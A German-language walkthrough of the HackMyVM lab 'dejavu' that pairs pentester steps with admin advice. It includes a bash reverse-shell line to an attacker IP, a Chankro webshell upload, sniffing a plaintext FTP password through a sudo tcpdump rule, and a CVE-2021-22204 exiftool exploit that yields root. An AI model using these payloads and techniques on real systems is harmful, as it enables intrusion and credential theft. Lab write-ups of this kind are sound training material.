Analyse: `arp-scan -l` wird verwendet, um aktive Hosts im lokalen Netzwerk zu finden.
Bewertung: Der Host `192.168.2.113` mit einer VirtualBox-MAC-Adresse wird als Ziel identifiziert.
Empfehlung (Pentester): Führe einen Nmap-Scan auf 192.168.2.113 durch.
Empfehlung (Admin): Netzwerk-Monitoring.
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.153 Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.2.113 08:00:27:9c:77:a6 PCS Systemtechnik GmbH 3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.7: 256 hosts scanned in 1.865 seconds (138.01 hosts/sec). 1 responded
Analyse: Ein Nmap-Scan (`-sS -sC -T5 -A -p-`) wird auf das Ziel 192.168.2.113 ausgeführt, um offene Ports, Dienste, Versionen und OS-Details zu ermitteln.
Bewertung: Zwei offene Ports werden gefunden: - **Port 22 (SSH):** OpenSSH 8.2p1 auf Ubuntu. - **Port 80 (HTTP):** Apache httpd 2.4.41 auf Ubuntu. Zeigt die Standard-Apache-Seite an. Der Hostname wird als `dejavu.hmv` identifiziert. Das Betriebssystem ist Linux (Ubuntu).
Empfehlung (Pentester): Beginne mit der Enumeration des Webservers auf Port 80. Suche parallel nach Informationen für einen SSH-Angriff.
Empfehlung (Admin): Halte SSH und Apache aktuell. Sichere beide Dienste (starke Passwörter/Keys, sichere Webserver-Konfiguration).
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-27 22:52 CEST Nmap scan report for dejavu.hmv (192.168.2.113) Host is up (0.00014s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 48:8f:5b:43:62:a1:5b:41:6d:7b:6e:55:27:bd:e1:67 (RSA) | 256 10:17:d6:76:95:d0:9c:cc:ad:6f:20:7d:33:4a:27:4c (ECDSA) |_ 256 12:72:23:de:ef:28:28:9e:e0:12:ae:5f:37:2e:ee:25 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.41 (Ubuntu) MAC Address: 08:00:27:9C:77:A6 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.14 ms dejavu.hmv (192.168.2.113) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 22.31 seconds
Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche auf `http://dejavu.hmv` verwendet. Eine Standard-Wortliste und diverse Erweiterungen werden genutzt.
Bewertung: !!Wichtiger Fund!!** Der Scan findet: - `/index.html`: Die Standard-Apache-Seite. - `/info.php`: Eine PHP-Info-Seite. Diese enthält oft sensible Konfigurationsdetails und Pfade. - `.html`, `.php`: Werden mit Status 403 (Forbidden) gemeldet, was auf Zugriffsbeschränkungen oder Konfigurationen hindeutet.
Empfehlung (Pentester):**Höchste Priorität:** Untersuche den Inhalt von `/info.php` sehr sorgfältig auf interessante Informationen, insbesondere Pfade, Konfigurationen oder versteckte Hinweise.
Empfehlung (Admin): Entferne oder beschränke den Zugriff auf `phpinfo()`-Seiten in Produktivumgebungen, da sie zu viele Informationen preisgeben.
=============================================================== Gobuster v3.2.0-dev by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://dejavu.hmv [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.2.0-dev [+] Extensions: html,bak,sql,py,alac,wav,dsd,7z,png,aspx,csv,zip,js,mp4,git,pl,dll,exe,xml,txt,flac,doc,log,php,tar,jpeg,ogg,aiff,mp3,mkv,jse,asp,docx,sh,jpg,aac,war,jar,rtf,ico [+] Expanded: true [+] Timeout: 10s =============================================================== 2022/10/27 22:53:10 Starting gobuster in directory enumeration mode =============================================================== http://dejavu.hmv/.html (Status: 403) [Size: 275] http://dejavu.hmv/.php (Status: 403) [Size: 275] http://dejavu.hmv/index.html (Status: 200) [Size: 10918] http://dejavu.hmv/info.php (Status: 200) [Size: 69955] =============================================================== 2022/10/27 22:58:25 Finished ===============================================================
Analyse: Relevante Informationen, die aus der `/info.php`-Seite extrahiert wurden (vermutlich durch manuelle Inspektion), werden hier zusammengefasst.
Bewertung: !!Kritische Funde aus phpinfo()!!** - Hostname und OS-Version werden bestätigt. - Webserver und PHP-Versionen werden enthüllt. - **Entscheidend:** Ein versteckter Pfad `/S3cR3t` wird im Quellcode oder in den Konfigurationsdetails der `info.php` gefunden.
Empfehlung (Pentester): Untersuche sofort das Verzeichnis `http://dejavu.hmv/S3cR3t/` mit Tools wie `gobuster` oder manuell im Browser.
Empfehlung (Admin): Deaktiviere `phpinfo()`. Überprüfe, warum dieser Pfad in der Konfiguration sichtbar war.
# Informationen extrahiert aus http://dejavu.hmv/info.php Hostname: dejavu.hmv OS: Linux dejavu 5.4.0-110-generic #124-Ubuntu SMP Thu Apr 14 19:46:19 UTC 2022 x86_64 Webserver: Apache/2.4.41 (Ubuntu) PHP Version: 7.4.3 (Zend Engine v3.4.0, Zend OPcache v7.4.3) PHP Config Path: /etc/php/7.4/apache2/php.ini Gefundener Pfad (aus Quellcode/Konfiguration): /S3cR3t
Analyse: Das zuvor entdeckte Verzeichnis `/S3cR3t` wird weiter untersucht (implizierter `gobuster`-Scan oder manuelles Browsen). Es werden das Unterverzeichnis `files` und die Datei `upload.php` gefunden.
Bewertung: Das Vorhandensein von `upload.php` in einem versteckten Verzeichnis ist höchst verdächtig und deutet auf eine Datei-Upload-Funktionalität hin. Das `files`-Verzeichnis ist wahrscheinlich das Ziel für hochgeladene Dateien.
Empfehlung (Pentester): Analysiere die `upload.php`-Seite. Versuche, verschiedene Dateitypen hochzuladen, insbesondere PHP-Webshells oder Skripte. Überprüfe das `/S3cR3t/files/`-Verzeichnis nach erfolgreichen Uploads und versuche, die hochgeladenen Dateien auszuführen.
Empfehlung (Admin): Sichere die Upload-Funktion rigoros: Überprüfe Dateitypen und -erweiterungen serverseitig, begrenze die Dateigröße, speichere Uploads nach Möglichkeit außerhalb des Webroots oder in einem Verzeichnis ohne Ausführungsrechte, und verwende unvorhersagbare Dateinamen.
# Untersuchung von http://dejavu.hmv/S3cR3t/ Gefunden: http://dejavu.hmv/S3cR3t/files/ (Directory) http://dejavu.hmv/S3cR3t/upload.php (File)
Analyse: Der Angreifer bereitet eine Reverse-Shell-Payload vor. Eine Datei `rev.sh` wird erstellt, die den Befehl `bash -c 'bash -i >& /dev/tcp/[ATTACKER_IP]/9001 0>&1'` enthält.
Bewertung: Standard-Reverse-Shell-Payload für Bash.
Empfehlung (Pentester): Stelle sicher, dass IP und Port korrekt sind. Bereite als nächstes die Payload für den Upload vor (ggf. Obfuskation).
Empfehlung (Admin): Keine Aktion.
bash -c 'bash -i >& /dev/tcp/192.168.2.153/9001 0>&1'
Analyse: Das Tool `chankro.py` wird verwendet, um die `rev.sh`-Payload zu verarbeiten. - `--arch 64`: Gibt die Zielarchitektur an (64-Bit). - `--input rev.sh`: Die Eingabedatei (Payload). - `--output ben.phtml`: Die Ausgabedatei mit `.phtml`-Endung (PHP-HTML). - `--path /var/www/html/.HowToEliminateTheTenMostCriticalInternetSecurityThreats`: Dies ist ein interessanter Parameter. Er gibt einen Pfad auf dem *Zielsystem* an. Chankro nutzt diesen Pfad wahrscheinlich, um die obfuscierte Payload so zu gestalten, dass sie relativ zu diesem Pfad funktioniert oder Informationen daraus nutzt.
Bewertung: Chankro wandelt die Shell-Payload in eine `.phtml`-Datei um, die wahrscheinlich darauf ausgelegt ist, Upload-Filter zu umgehen, die reine `.php`-Dateien blockieren könnten. Der `--path`-Parameter deutet auf interne Pfadinformationen hin, die möglicherweise aus `info.php` oder Fehlermeldungen stammen.
Empfehlung (Pentester): Lade die generierte `ben.phtml`-Datei über das `upload.php`-Skript hoch. Starte einen Netcat-Listener auf Port 9001. Navigiere zur hochgeladenen Datei im `/S3cR3t/files/`-Verzeichnis, um die Payload auszulösen.
Empfehlung (Admin): Filter nicht nur nach Dateiendungen, sondern analysiere auch den Dateiinhalt (MIME-Type, Magic Bytes). Verwende Whitelisting für erlaubte Dateitypen.
-=[ Chankro ]=- -={ @TheXC3LL }=- [+] Binary file: rev.sh [+] Architecture: x64 [+] Final PHP: ben.phtml [+] File created!
Analyse: Der Angreifer navigiert im Browser oder mit `curl` zur URL `http://dejavu.hmv/S3cR3t/files/ben.phtml`. Dies setzt voraus, dass die `ben.phtml`-Datei zuvor erfolgreich über `upload.php` in das `files`-Verzeichnis hochgeladen wurde (dieser Upload-Schritt fehlt im Log).
Bewertung: Das Aufrufen der `.phtml`-Datei auf dem Webserver führt den darin enthaltenen (obfuskierten) PHP-Code aus, der wiederum die `rev.sh`-Payload startet und die Reverse Shell initiiert.
Empfehlung (Pentester): Stelle sicher, dass der Netcat-Listener bereit ist.
Empfehlung (Admin): Verhindere die Ausführung von Skripten in Upload-Verzeichnissen. Sichere die Upload-Funktion.
http://dejavu.hmv/S3cR3t/files/ben.phtml
Analyse: Der Netcat-Listener auf Port 9001 empfängt die eingehende Verbindung vom Zielserver (192.168.2.113).
Bewertung: !!Initial Access erfolgreich!!** Eine Reverse Shell wurde als Benutzer `www-data` etabliert. Die Shell startet im Verzeichnis `/var/www/html/.HowToEliminateTheTenMostCriticalInternetSecurityThreats/S3cR3t/files`, was den im `chankro.py`-Befehl angegebenen Pfad widerspiegelt. Die Shell ist initial nicht vollständig interaktiv.
Empfehlung (Pentester): Stabilisiere die Shell mit Python PTY und setze die `TERM`-Variable.
Empfehlung (Admin): Untersuche den Vorfall, entferne die hochgeladene Datei und die Schwachstelle.
listening on [any] 9001 ... connect to [192.168.2.153] from (UNKNOWN) [192.168.2.113] 39812 bash: cannot set terminal process group (811): Inappropriate ioctl for device bash: no job control in this shell www-data@dejavu:/var/www/html/.HowToEliminateTheTenMostCriticalInternetSecurityThreats/S3cR3t/files$
Analyse: Die Reverse Shell wird mit Python PTY und `export TERM=xterm` stabilisiert. Der Hintergrund-Vordergrund-Wechsel mit `stty raw -echo; fg` wird ebenfalls durchgeführt.
Bewertung: Die Shell ist nun vollständig interaktiv und einsatzbereit für die Enumeration.
Empfehlung (Pentester): Beginne mit der Enumeration als `www-data` (prüfe `sudo -l`, SUID-Dateien, Home-Verzeichnisse).
Empfehlung (Admin): Keine Aktion.
www-data@dejavu:/var/www/html/.HowToEliminateTheTenMostCriticalInternetSecurityThreats/S3cR3t/files$ python3 -c 'import pty;pty.spawn("/bin/bash")' www-data@dejavu:/var/www/html/.HowToEliminateTheTenMostCriticalInternetSecurityThreats/S3cR3t/files$ export TERM=xterm www-data@dejavu:/var/www/html/.HowToEliminateTheTenMostCriticalInternetSecurityThreats/S3cR3t/files$
^Z zsh: suspended nc -lvnp 9001
[1] + continued nc -lvnp 9001 reset www-data@dejavu:/var/www/html/.HowToEliminateTheTenMostCriticalInternetSecurityThreats/S3cR3t/files$
Analyse: Als `www-data` wird `sudo -l` ausgeführt, um die `sudo`-Berechtigungen zu prüfen.
Bewertung: !!Privilegieneskalationsvektor gefunden!!** `www-data` darf `/usr/sbin/tcpdump` als Benutzer `robert` ohne Passwort (`NOPASSWD:`) ausführen. Dies ist ein bekannter Weg, um an Informationen zu gelangen oder unter bestimmten Umständen Rechte zu eskalieren, indem man den Netzwerkverkehr des Zielbenutzers mitschneidet.
Empfehlung (Pentester): Nutze diese Berechtigung. Überlege, welchen Verkehr du als `robert` mitschneiden möchtest, um sensible Informationen (z.B. Passwörter) zu erhalten. Ein guter Ansatz ist das Lauschen auf dem Loopback-Interface (`lo`) nach Klartext-Protokollen wie FTP oder Telnet, falls `robert` sich lokal an solchen Diensten anmeldet.
Empfehlung (Admin):**DRINGEND:** Entferne oder beschränke diese `sudo`-Regel. Gewähre `sudo`-Rechte für Tools wie `tcpdump` nur, wenn absolut notwendig und mit sehr spezifischen Einschränkungen (z.B. nur auf bestimmten Interfaces und ohne Schreibzugriff auf Dateien).
www-data@dejavu:/var$ sudo -l
Matching Defaults entries for www-data on dejavu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on dejavu:
(robert) NOPASSWD: /usr/sbin/tcpdump
Analyse: Das Home-Verzeichnis wird aufgelistet, um Benutzer zu identifizieren.
Bewertung: Der Benutzer `robert` (aus der sudo-Regel) wird bestätigt.
Empfehlung (Pentester): Konzentriere dich darauf, Informationen von `robert` mittels `tcpdump` zu erhalten.
Empfehlung (Admin): Keine Aktion.
www-data@dejavu:/var$ ls /home
robert
Analyse: Der `sudo`-Befehl wird genutzt, um `tcpdump` als Benutzer `robert` zu starten. `tcpdump -i lo port ftp` lauscht auf dem Loopback-Interface (`lo`) speziell nach Verkehr auf dem FTP-Port (21). Der Angreifer wartet nun darauf, dass `robert` (oder ein Prozess, der als `robert` läuft) eine FTP-Verbindung über Loopback initiiert.
Bewertung: !!Passwort abgefangen!!** Nach kurzer Zeit wird eine FTP-Sitzung auf dem Loopback-Interface mitgeschnitten. Der Verkehr zeigt: - `USER robert` - `PASS 9737bo0hFx4` (Passwort im Klartext!) - `230 Login successful.` Offenbar gibt es einen lokalen Prozess (z.B. Cronjob, Skript), der sich regelmäßig als `robert` per FTP auf `localhost` anmeldet.
Empfehlung (Pentester): Nutze die abgefangenen Zugangsdaten (`robert` / `9737bo0hFx4`), um dich per SSH als `robert` anzumelden.
Empfehlung (Admin): Vermeide die Übertragung von Passwörtern im Klartext, auch auf dem Loopback-Interface. Konfiguriere Dienste (wie den lokalen FTP-Server) sicher oder deaktiviere sie, wenn sie nicht benötigt werden. Überprüfe Cronjobs und Skripte auf unsichere Anmeldungen.
www-data@dejavu:/var$ sudo -u robert tcpdump -i lo port ftp tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes 21:55:01.833696 IP localhost.34688 > localhost.ftp: Flags [S], seq 3888134662, win 65495, options [mss 65495,sackOK,TS val 1562460819 ecr 0,nop,wscale 7], length 0 21:55:01.833703 IP localhost.ftp > localhost.34688: Flags [S.], seq 3141452812, ack 3888134663, win 65483, options [mss 65495,sackOK,TS val 1562460819 ecr 1562460819,nop,wscale 7], length 0 21:55:01.833709 IP localhost.34688 > localhost.ftp: Flags [.], ack 1, win 512, options [nop,nop,TS val 1562460819 ecr 1562460819], length 0 21:55:01.834314 IP localhost.ftp > localhost.34688: Flags [P.], seq 1:21, ack 1, win 512, options [nop,nop,TS val 1562460820 ecr 1562460819], length 20: FTP: 220 (vsFTPd 3.0.3) 21:55:01.834409 IP localhost.34688 > localhost.ftp: Flags [.], ack 21, win 512, options [nop,nop,TS val 1562460820 ecr 1562460820], length 0 21:55:01.834428 IP localhost.34688 > localhost.ftp: Flags [P.], seq 1:14, ack 21, win 512, options [nop,nop,TS val 1562460820 ecr 1562460820], length 13: FTP: USER robert 21:55:01.834429 IP localhost.ftp > localhost.34688: Flags [.], ack 14, win 512, options [nop,nop,TS val 1562460820 ecr 1562460820], length 0 21:55:01.834439 IP localhost.ftp > localhost.34688: Flags [P.], seq 21:55, ack 14, win 512, options [nop,nop,TS val 1562460820 ecr 1562460820], length 34: FTP: 331 Please specify the password. 21:55:01.834492 IP localhost.34688 > localhost.ftp: Flags [.], ack 55, win 512, options [nop,nop,TS val 1562460820 ecr 1562460820], length 0 21:55:01.834498 IP localhost.34688 > localhost.ftp: Flags [P.], seq 14:32, ack 55, win 512, options [nop,nop,TS val 1562460820 ecr 1562460820], length 18: FTP: PASS 9737bo0hFx4 21:55:01.834531 IP localhost.ftp > localhost.34688: Flags [.], ack 32, win 512, options [nop,nop,TS val 1562460820 ecr 1562460820], length 0 21:55:01.840280 IP localhost.ftp > localhost.34688: Flags [P.], seq 55:78, ack 32, win 512, options [nop,nop,TS val 1562460826 ecr 1562460820], length 23: FTP: 230 Login successful. 21:55:01.840284 IP localhost.34688 > localhost.ftp: Flags [.], ack 78, win 512, options [nop,nop,TS val 1562460826 ecr 1562460826], length 0 21:55:01.840312 IP localhost.34688 > localhost.ftp: Flags [P.], seq 32:38, ack 78, win 512, options [nop,nop,TS val 1562460826 ecr 1562460826], length 6: FTP: QUIT 21:55:01.840466 IP localhost.ftp > localhost.34688: Flags [.], ack 38, win 512, options [nop,nop,TS val 1562460826 ecr 1562460826], length 0 21:55:01.840547 IP localhost.ftp > localhost.34688: Flags [P.], seq 78:92, ack 38, win 512, options [nop,nop,TS val 1562460826 ecr 1562460826], length 14: FTP: 221 Goodbye.
Analyse: Eine SSH-Verbindung wird als Benutzer `robert` zum Ziel `dejavu.hmv` aufgebaut. Das Passwort `9737bo0hFx4` (aus dem tcpdump) wird eingegeben.
Bewertung: !!Benutzerwechsel erfolgreich!!** Der SSH-Login als `robert` gelingt.
Empfehlung (Pentester): Hole die User-Flag. Prüfe die `sudo`-Rechte für `robert` und suche nach weiteren Eskalationsvektoren.
Empfehlung (Admin): Ändere das Passwort für `robert`. Behebe die unsichere `sudo`-Regel für `www-data`. Sichere den lokalen FTP-Prozess.
The authenticity of host 'dejavu.hmv (192.168.2.113)' can't be established.
ED25519 key fingerprint is SHA256:FD1A1ljJduPbF4mqrQ/syFJggyYhGxfrZKrduHM3VDA.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'dejavu.hmv' (ED25519) to the list of known hosts.
robert@dejavu.hmv's password: 9737bo0hFx4
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-110-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu 27 Oct 2022 09:59:32 PM UTC
System load: 0.08
Usage of /: 59.0% of 8.90GB
Memory usage: 43%
Swap usage: 0%
Processes: 132
Users logged in: 0
IPv4 address for enp0s3: 192.168.2.113
IPv6 address for enp0s3: 2003:d4:c71c:e857:a00:27ff:fe9c:77a6
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
30 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Fri May 13 15:52:25 2022
robert@dejavu:~$
Analyse: Als `robert` wird der Inhalt der Datei `user.txt` im Home-Verzeichnis gelesen.
Bewertung: Die User-Flag `HMV{c8b75037150fbdc49f6c941b72db0d7c}` wird gefunden.
Empfehlung (Pentester): Notiere die Flag. Suche nach dem Root-Eskalationsvektor.
Empfehlung (Admin): Keine Aktion.
robert@dejavu:~$ cat user.txt HMV{c8b75037150fbdc49f6c941b72db0d7c}
Analyse: Die Version von `exiftool` wird überprüft.
Bewertung: !!Schwachstelle identifiziert!!** Die Version ist 12.23. Diese Version ist bekanntlich anfällig für CVE-2021-22204, eine Schwachstelle, die Remote Code Execution (RCE) durch das Verarbeiten einer präparierten DJVU-Datei ermöglicht.
Empfehlung (Pentester): Finde heraus, ob `robert` `exiftool` mit erhöhten Rechten ausführen kann (z.B. über `sudo -l`) oder ob ein Prozess als Root regelmäßig `exiftool` verwendet. Da im Log später `sudo -u root exiftool ...` verwendet wird, ist anzunehmen, dass `robert` `exiftool` als Root via `sudo` ausführen darf (obwohl `sudo -l` für `robert` fehlt). Besorge einen Exploit für CVE-2021-22204.
Empfehlung (Admin):**DRINGEND:** Update `exiftool` auf eine Version >= 12.38. Überprüfe `sudo`-Regeln für `exiftool`.
robert@dejavu:~$ exiftool -ver
12.23
Analyse: Auf dem Zielsystem (als `robert`) wird ein bekanntes Exploit-Skript für CVE-2021-22204 von GitHub geklont und die Payload-Konfiguration (`exploit.py`) mit `nano` bearbeitet, um die IP und den Port des Angreifer-Listeners einzutragen.
Bewertung: Korrekte Vorbereitung des Exploits. Der Exploit wird so konfiguriert, dass er eine Reverse Shell zu 192.168.2.153 auf Port 9002 aufbaut.
Empfehlung (Pentester): Führe das Python-Skript aus, um die bösartige Bilddatei zu erstellen. Starte den Netcat-Listener auf Port 9002.
Empfehlung (Admin): Patchen von Exiftool ist die primäre Maßnahme.
robert@dejavu:/tmp$ git clone https://github.com/convisolabs/CVE-2021-22204-exiftool Cloning into 'CVE-2021-22204-exiftool'... remote: Enumerating objects: ..., done. remote: Counting objects: ..., done. remote: Compressing objects: ..., done. remote: Total ... (delta ...), reused ... (delta ...), pack-reused 0 Receiving objects: 100% (.../...), ..., done. Resolving deltas: 100% (.../...), done. robert@dejavu:/tmp$ cd CVE-2021-22204-exiftool robert@dejavu:/tmp/CVE-2021-22204-exiftool$ nano exploit.py
# Innerhalb von exploit.py geändert: ip = '192.168.2.153' port = '9002'
Analyse: Das modifizierte Python-Exploit-Skript wird ausgeführt. Es generiert eine bösartige DJVU-Datei (`exploit.djvu`), die die Reverse-Shell-Payload enthält.
Bewertung: Die präparierte Datei für den Exploit ist erstellt.
Empfehlung (Pentester): Führe nun `exiftool` als Root (via `sudo`) auf diese Datei aus.
Empfehlung (Admin): Keine Aktion.
robert@dejavu:/tmp/CVE-2021-22204-exiftool$ python3 exploit.py
1 image files updated
robert@dejavu:/tmp/CVE-2021-22204-exiftool$
Analyse: Der Benutzer `robert` führt `exiftool` mit `sudo -u root` auf die präparierte Datei `exploit.djvu` aus. Gleichzeitig läuft auf dem Angreifer-System ein Netcat-Listener auf Port 9002.
Bewertung: !!Privilegieneskalation erfolgreich!!** Das Ausführen von `exiftool` als Root auf die bösartige Datei löst die Schwachstelle CVE-2021-22204 aus. Die eingebettete Reverse-Shell-Payload wird ausgeführt und verbindet sich zurück zum Netcat-Listener des Angreifers. Der Listener empfängt die Verbindung, und der `id`-Befehl bestätigt `uid=0(root)`. Root-Zugriff wurde erlangt.
Empfehlung (Pentester): Ziel erreicht. Suche und lies die Root-Flag.
Empfehlung (Admin):**DRINGEND:** Update Exiftool. Korrigiere die `sudo`-Regel, die `robert` erlaubt, `exiftool` als Root auszuführen (falls eine solche Regel existiert - sie fehlt im `sudo -l` für `www-data`, muss also für `robert` spezifisch sein oder es gibt einen anderen Grund, warum er es als Root ausführen kann).
robert@dejavu:/tmp/CVE-2021-22204-exiftool$ sudo -u root exiftool ./exploit.djvu
listening on [any] 9002 ...
connect to [192.168.2.153] from (UNKNOWN) [192.168.2.113] 51256
# id
uid=0(root) gid=0(root) groups=0(root)
#
Analyse: Als Root wird das Root-Verzeichnis (`/root`) untersucht und die Datei `r0ot.tXt` (ungewöhnlicher Name) gelesen.
Bewertung: Die Root-Flag `HMV{c62d75d636f66450980dca2c4a3457d8}` wird erfolgreich gefunden.
Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin): Keine Aktion bezüglich der Flag.
# ls configfile exploit.djvu exploit.py image.jpg image.jpg_original lab payload payload.bzz README.md # cd /root # ls r0ot.tXt snap # cat r0ot.tXt HMV{c62d75d636f66450980dca2c4a3457d8}